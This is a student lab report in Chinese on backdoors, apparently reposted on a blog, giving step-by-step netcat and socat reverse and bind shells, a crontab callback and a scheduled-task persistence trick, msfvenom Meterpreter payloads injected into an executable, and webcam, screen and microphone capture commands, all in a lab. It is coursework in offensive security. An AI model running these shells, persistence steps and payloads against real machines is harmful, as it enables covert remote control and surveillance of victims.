1. 程式人生 > 其它 >20192431張瀟文 實驗二 後門原理與實踐 實驗報告

20192431張瀟文 實驗二 後門原理與實踐 實驗報告

實驗二 後門原理與實踐

一 實驗原理

1.1後門原理

後門原理:後門就是攻擊者在想要攻擊的目的主機上留下的可以隱藏自己,獲取目的主機的控制權或系統訪問權的方法。後門可以通過傳送郵件或者檔案,把後門繫結在這些檔案郵件中,點選的話就會執行木馬程式。或者攻擊一臺主機以後通過傳送的方式,把後門留在電腦中。

1.2 ncat及socat及Meterpreter工作原理及msfconsole的使用

  1. ncat是可以進行遠端連線的,在Linux通常是自帶的,可以使用man nc來檢視nc的相關命令。以前在資訊保安概論上用過NC主要是進行埠掃描的,可以用Ncat來分析對面使用的作業系統是什麼,也可以發現分析一些漏洞。本次實驗中,多次採用了nc -l -p來進行指定埠號的監聽。而本次實驗中的任務1,以及建立後門的時候檔案的轉發都使用了ncat。nc命令可以用來在系統裝建立後門。
  2. 常見的nc命令
    -l, --listen 連線和收聽到來的連線
    -p, --source-port port 指定使用特定的源埠
    -e --exec 執行傳遞的命令列
    利用nc拷貝檔案:需要用到輸如輸出重定向符號 > <
    一般過程:先利用輸入重定向讓檔案傳到攻擊機的埠,然後在另一臺機器上,在這個埠監聽,並輸出重定向到指定的檔案。
  3. socat原理:socat可以當作是netcat的加強版,在兩個資料流之間建立通道,且支援眾多協議和連結方式,用於連線遠端埠,獲取shell。
  4. socat命令格式:socat [options]
    。socat所做的工作就是在2個地址之間建立一個Pipe用於傳送和接收資料,有的時候可以指定TCP,就說明是建立一個TCP連線作為資料流。
  5. Meterpreter:是一個用於生成後門程式的工具,在任務5中使用MSF生成shellcode的時候就會使用到。常用的命令:
    -p 使用的payload。
    -x 使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。
    -e 使用的編碼器,用於對shellcode變形,為了免殺。
    -i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
    -b badchar是payload中需要去除的字元。
    LHOST 是反彈回連的IP
    LPORT 是回連的埠
    -f 生成檔案的型別

輸出到哪個檔案

  1. MSF生成shellcode,MSF生成shellcode,要確定使用什麼樣的payload的時候,使用msfvenom -l
    可以檢視所有的payload,選擇對應功能的paylode就可以了,比如說任務五是想要生成一個反彈式shell,就選擇對應的即可。總之就是要確定payload,確定要生成的shellcode型別,確定攻擊ip,攻擊埠號,生成什麼型別的檔案。比如本次實驗就是要注入到pwn1這個可執行檔案中,所以用-x引數指定我們的模板pwn1.payload(shellcode)就寫入到pwn1這個可執行檔案中,並且要重新寫入一個毒化後的可執行檔案裡,並且把其放入到指定的靶機裡。
  2. msfconsole
    Msfconsole提供了一個一體化的集中控制檯。通過msfconsole,你可以訪問和使用所有的metasploit的外掛,payload,利用模組,post模組等等。常見的功能指令的意義:
    使用攻擊模組:(本次實驗中在任務5,任務4中都有用到此條指令)
    use exploit/multi/handler
    檢視需要填寫的引數:show options
    設定地址,設定payload:都使用set指令
    監聽:exploit

二 實驗任務

任務1 使用netcat獲取主機操作Shell,cron啟動某項任務

實驗過程

  1. 用Ipconfig在windows上檢視自己的ip地址,用ip addr檢視kali的地址。在windows中反彈連線kali,前提有以下幾個方面:
    要求kali的防火牆關閉,但我的實驗中並未遇到防火牆的問題。此外要求kali的ssh服務開啟,開啟ssh的命令是service ssh startwindows中安裝好了ncat。
    在windows中輸入命令:ncat 192.168. 10.141 5301 -e /bin/sh
    在Linux中輸入命令:nc -l -p 5301開啟監聽
    可以看到windows和kali可以進行通訊了;

  2. kali的主機操作windows的shell,只需要在windows下輸入命令ncat.exe -e cmd.exe 192.168.10.141 5301
    linux下依舊使用步驟一的開啟監聽,就可以發現可以看到了windows的cmd,輸入dir可以看到windows的當前目錄

  3. windows下獲得一個linux shell,在kali中輸入:nc 192.168.10.36 5301 -e /bin/sh然後在cmd裡開啟監聽就可以獲得Linux的shell.

  4. cron啟動某項任務:crontab用於設定週期性被執行的指令,在Linux下輸入:crontab -e可以新增任務區,第一次的時候要選擇編輯器3。

  5. 按I鍵Insert,在最後一行新增程式碼:20 * * * 1/bin/netcat 192.168.10.36 5301 -e/bin/sh表示每週一每小時的第二十分鐘反向連線windows主機的5301埠,然後按ESC,:wq儲存並退出。

  6. 時間到了11:35的時候開啟windows輸入ncat.exe -l -p 5301
    可以看到cmd獲得了kali的shell。

任務2 使用SOCAT獲取主機操作SHELL, 任務計劃啟動

前提:windwos下載好了socat,解壓使用,
實驗過程:

  1. 在Windows單擊【計算機】—【管理】—【任務計劃程式】下【任務計劃程式庫】,選擇【建立任務】

  2. 確定好觸發器觸發的時間,建觸發器。並且要填上相應的引數:tcp-listen:5301 exec:cmd.exe,pty,stderr這個命令的作用是把cmd.exe繫結到埠5301,同時把cmd.exe的stderr重定向到stdout上。可以看到任務以及可以就緒了。指定時間windows會出現cmd視窗,和安全提示

Linux輸入socat-tcp:192.168.10.36完成連線,可以獲得windosshell,輸入Ipconfig可以驗證。

任務3 使用MSF meterpreter生成可執行檔案,利用ncat傳送到主機並執行獲取主機Shell

實驗過程:

  1. 現在kali中使用
    msfvenom -p windows/meterpreter/reverse_tcp 172.16.218.133 LPORT=5322 -f exe > backdoor5322.exe在linux裡生成後門程式。
    用Ls檢視這個後門程式是否已經在kali裡了。

  2. 在Windows下執行ncat -l 5322 > backdoor5322.exe這樣使得被控主機進入了接受檔案模式。

  3. 在kali中執行nc 172.16.221.67 < backdoor5322.exeip是被控的主機ip。

  4. 可以在windows下看到該檔案

  5. MSF開啟監聽程序
    輸入msfconsole後進行如下操作:
    輸入use exploit/multi/handler使用監聽模組,設定payload
    set payload windows/meterpreter/reverse_tcp,使用和生成後門程式時相同的payload
    set LHOST 172.16.218.133,這裡用的是LinuxIP,和生成後門程式時指定的IP相同
    set LPORT 5322,同樣要使用相同的埠.
    然後exploit,

  6. 執行windows下的後門程式

  7. 此時Kali上已經獲得了Windows主機的連線,並且得到了遠端控制的shell

任務4 使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

  1. 常用的指令
    webcam_snap攝像頭拍照
    screenshot截圖

record_mic -d 5截獲一段5s的音訊

任務5 使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell

  1. 實驗分析
    確定使用什麼樣的payload的時候,使用msfvenom -l可以檢視所有的payload,選擇對應功能的paylode就可以了,比如說任務五是想要生成一個反彈式shell,就選擇對應的即可。總之就是要確定payload,確定要生成的shellcode型別,這次要求的是在linux/x86的,獲取反彈式shell,所payload要選擇:inux/x86/meterpreter/reverse_tcp。確定攻擊ip,攻擊埠號,本次就攻擊自己的這臺kali即可。生成什麼型別的檔案。elf可執行檔案。比如本次實驗就是要注入到pwn1這個可執行檔案中,所以用-x引數指定我們的模板pwn1.payload(shellcode)就寫入到pwn1這個可執行檔案中,並且要重新寫入一個毒化後的可執行檔案裡,並且把其放入到指定的靶機裡。
  2. 實驗步驟
    輸入:msfvenom -p linux/x86/meterpreter/reverse_tcp Lhost=172.30.0.115 LPORT=4444 -x ./pwn1 -f elf > pwn20192431shellcode,Lhost也可以寫成127.0.0.1

接下來,開啟msfconsole
依次輸入:use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.30.0.115
set LPORT 4444
exploit
然後在最開始的終端執行pwn20192431shellcode,在msf控制檯可以看到已經成功呼叫了shell

三 實驗問題及解決方案

  1. 在任務三當中,最開始在windows上找不到backdoor程式。原因是因為,我沒有先在Linux裡生成backdoor檔案,搞錯了實驗的本質,應該是先在虛擬機器上生成這個檔案,然後通過nc傳輸到windows裡,而不可能直接在linux裡生成檔案到windows裡後來經過修改成功了,
  2. 在任務五當中,在最後執行那個pwn20192431shellcode的時候,始終報段錯誤,並且在msf當中也沒辦法獲得shell,如圖:

原因其實是因為我在msf當中設定payload的時候和我生成payload時候的兩個負載不一致,一個是linux/x86/meterpreter/reverse_tcp,另一個是linux/x86/shell_reverse_tcp,所以就錯誤了。修改一致以後成功。
3. 執行檔案的時候出現了permission deny。
解決方式使用chmod u+x*提權,就可以運行了。

四 回答問題

  1. 例舉你能想到的一個後門進入到你係統中的可能方式?
    可以把程式繫結到一個電子郵件裡,你點開電子郵件程式就植入到你的電腦裡,或者在網路資源裡下載某遊戲,某個軟體,這些軟體綁定了後門程式,一下載就自動進入自己的電腦。熟悉的人藉助U盤等工具,植入你的電腦當中,
  2. 例舉你知道的後門如何啟動起來(win及linux)的方式?
    linux下就是cron啟動
    windows下可以修改登錄檔,自啟動程式,或者編寫一段程式碼實現自啟動功能。
  3. Meterpreter有哪些給你映像深刻的功能?
    MSF生成木馬並連線,msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 -o ./meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地埠
    msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -a x64 -o ./meter_re_tcp_x64.exe LHOST=本地ip LPORT=本地埠
    很方便,都不用找地址就可以直接生成。
  4. 如何發現自己有系統有沒有被安裝後門?
    通過防毒軟體的定期查殺,或者看工作管理員當中有沒有一些自己沒下載過的軟體,防火牆。

五 實驗感悟

體會msf功能的強大,更進一步的瞭解了後門的含義。也對Payload和shellcode有了一定的區分。